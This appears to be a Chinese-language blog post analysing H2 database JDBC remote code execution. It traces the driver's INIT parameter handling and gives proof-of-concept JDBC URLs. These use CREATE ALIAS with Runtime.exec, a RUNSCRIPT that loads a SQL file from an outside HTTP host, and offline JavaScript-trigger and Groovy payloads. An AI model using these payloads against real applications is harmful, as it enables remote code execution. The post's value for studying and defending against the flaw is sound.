H2-JDBC-Attack
前言
最近看了看了一些数据库驱动,想起来经常利用的H2数据库的驱动,但是还没分析过源码,所以今天来浅析一下
漏洞介绍
H2数据库是一款用Java编写的轻量级开源关系型数据库,支持嵌入式和服务器模式。它以其高性能、便捷性和灵活性,广泛应用于开发和测试环境。 h2数据库是纯Java的,因此跨平台使用更加方便。
在使用 H2 数据库进行 JDBC 连接时,攻击者可以在执行初始化SQL语句时,控制执行 Java 代码,从而导致了代码执行漏洞。
前置基础
环境搭建
从官网https://www.h2database.com/html/cheatSheet.html下载h2的jar包,使用如下命令启动WebConsole服务,默认监听8082端口。
1 | java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists |
启动后访问,会出现一个连接的页面
h2数据库任意命令执行
在H2数据库中,有以下两个命令,支持用户自定义函数:
- CREATE ALIAS
- CREATE TRIGGER
以ALIAS为例,我们可以创建一个shell函数,并且调用它
$$
符号可以表示无需转义的字符串
1 | CREATE ALIAS shell AS $$void shell(String s) throws Exception { |
执行后成功弹出计算机
代码分析
环境搭建
首先创建一个Java项目,导入H2JDBC的依赖,这里我使用的是1.4.199
版本
1 | <dependency> |
然后创建漏洞触发代码
1 | public class h2Connect { |
代码分析
我们直接下断点到H2驱动的`connect`方法处,前面先判断URL格式是否符合h2数据库连接的格式,然后调用`JdbcConnection`的构造函数进行创建数据库连接跟进JdbcConnection
的构造函数,调用了connectEmbeddedOrServer
,其他部分做了一些判断和赋值的简单操作
跟进connectEmbeddedOrServer
方法,这里调用了org.h2.engine.Engine.createSession
方法
跟进createSession
,再跟进createSessionAndValidate
方法,前面的东西不太需要看,我们只需要跟着传入的参数var1
即可
跟进openSession
中,会从我们的ConnectionInfo
中获取以下四个参数,这里我们可以利用的参数为INIT
,因此我们后面跟着var5参数即可
我们在URL中添加INIT参数INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql'
,继续调试
在后面会判断var5是否为空若不为空就执行prepareCommand
和executeUpdate
方法,这两个方法名一看见就有搞的哈哈哈哈
在repareCommand
方法中,执行了对字符串的解析操作,然后调用executeUpdate
方法,我们跟进查看
解析完SQL字符串后,跟进到Command#executeUpdate
方法,调用了this.update
来执行SQL语句
持续跟进update
方法,这里首先调用openInput
方法,读取我们远程的SQL文件,然后逐行执行SQL语句
在openInput
方法中,可以看到读取到了远程的文件名
跟进execute
方法,这里已经读取到文件内容,并执行SQL语句
漏洞利用
出网利用方式
在INIT参数中,只允许执行一条初始化命令,且其中不能包含分号。这时我们可以借助另一个命令RUNSCRIPT
,该命令通常用于执行一个SQL文件,例如RUNSCRIPTE FROM './poc.sql'
,在读取文件时,代码中使用了URL类,因此我们可以加载远程SQL文件。
1 |
|
Poc如下
1 | jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql' |
将以下内容写入poc.sql
中,并开启HTTP服务
1 | CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}'; |
不出网利用方式
在不出网的情况下,我们就无法利用远程读取SQL文件来执行恶意SQL语句了
无额外依赖情况
在没有groovy依赖的情况下,我们该怎么进行不出网的利用呢。
可以用于javax.script.ScriptEngineManager
创建 org.h2.api.Trigger
对象。 javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,而Java 8原 生自带了JavaScript的脚本引擎。
在TriggerObject#loadFromSource
方法中,调用isJavaxScriptSource
方法判断是否为javascript脚本。如果以//javascript
或#ruby
开头,就会被当作javascript脚本
poc如下(需要注意//script
后需要有个换行)
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON |
存在Groovy依赖情况
在之前学习groovy脚本执行时,存在沙箱的情况下,我们可以使用AST注解绕过沙箱的检测,在导入`groovy-sql`依赖时,同样我们可以使用AST注解,进行H2JDBC不出网的利用1 | <dependency> |
会根据是否以//groovy
或@groovy
开头,判断是否以groovy脚本执行
Poc如下
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS |